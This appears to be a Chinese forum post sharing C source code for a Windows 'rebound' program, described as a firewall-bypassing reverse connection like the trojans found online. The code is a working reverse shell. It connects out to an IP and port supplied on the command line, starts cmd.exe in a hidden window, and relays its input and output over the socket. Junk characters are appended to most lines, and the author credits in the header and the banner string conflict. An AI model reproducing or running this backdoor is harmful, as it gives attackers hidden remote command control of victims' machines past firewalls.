这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 3B|-xq;]I
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/* ============================== 8qLgB
Rebound port in Windows NT ') cgx9
By wind,2006/7 $%"}N_M
===============================*/ N5_.m(:
#include 6&Ir0K/
#include Tsp-]-)
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#pragma comment(lib,"wsock32.lib") p5rRhu/|k3
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void OutputShell(); \@t5S
SOCKET sClient; "$V2 $
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MOeLphY
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void main(int argc,char **argv) e*Med)tc^$
{ wef^o"aP
WSADATA stWsaData; NS~knR\&
int nRet; ;l4\^E1
SOCKADDR_IN stSaiClient,stSaiServer; 9{#|sABGD
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if(argc != 3) T@WMT,J6j
{ D}U<7=\3H
printf("Useage:\n\rRebound DestIP DestPort\n"); YGmdiY:;1
return; Bj[/tQ
} 0e](N`
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WSAStartup(MAKEWORD(2,2),&stWsaData); ?i=!UN
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); odn`%ok
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stSaiClient.sin_family = AF_INET; =eLb"7C#0
stSaiClient.sin_port = htons(0); N6 8>`
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); F7l:*r,O
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !Qzp!k9d
{ W+S; Do
printf("Bind Socket Failed!\n"); 0l@+xS;
return; lM%fgyX
} -B(K Q T,J
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stSaiServer.sin_family = AF_INET; X1dG'PQ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); GP'Y!cl
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :vT%5CQ
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) D.!7jA#
{ 04d$_1:}a
printf("Connect Error!"); EC&,0i4n:
return; %.U{):lNx
} {3Wc<&D
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OutputShell(); _?c.3+;s
} r2'rfpQ
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void OutputShell() T$;XJx
{ p00AcUTq
char szBuff[1024]; IW_D$pq
SECURITY_ATTRIBUTES stSecurityAttributes; 4,DsB'
OSVERSIONINFO stOsversionInfo; =1[g`b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; VrxH6 Y
STARTUPINFO stStartupInfo; BAHx7x#(
char *szShell; y]9UFL"
PROCESS_INFORMATION stProcessInformation; R
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unsigned long lBytesRead; d vxEXy
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); jtY~-@*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); H12@12v
stSecurityAttributes.lpSecurityDescriptor = 0; 8E[`H
stSecurityAttributes.bInheritHandle = TRUE; 1z:N$O_v
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e6'O,\
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); TMsoQ82
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -P&e4sV{
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L{pg?#\yC
stStartupInfo.wShowWindow = SW_HIDE; oy: MM
stStartupInfo.hStdInput = hReadPipe; 2&URIQg*J
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?Fpl.t~
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GetVersionEx(&stOsversionInfo); E%B Gf}h
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switch(stOsversionInfo.dwPlatformId) D0i30p`
{ xv l
case 1: N@)~j+Pz
szShell = "command.com"; 2N 4>
break; :5J6rj;_
default: fk1f'M)/8
szShell = "cmd.exe"; >t(@?*ZFT
break; mO.U)tL[
} I9>*Yy5RNS
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |9eY
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send(sClient,szMsg,77,0); J3;KQ}F.I
while(1) @D=`iG%
{ 7d)' y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); eUlb6{!y?
if(lBytesRead) W<o0Z OO
{ W|U1AXU7/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); edx'p`%d5
send(sClient,szBuff,lBytesRead,0); U^\~{X
} BH a>2N
else 6QQ oHYtZ
{ RiG!TTa
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lBytesRead=recv(sClient,szBuff,1024,0); p ]=;t"
if(lBytesRead<=0) break; w}q"y+=Z:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pSFWNWQ'B
} caht4N{T
} GYxI$y0:
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return; l.l~K%P'h
}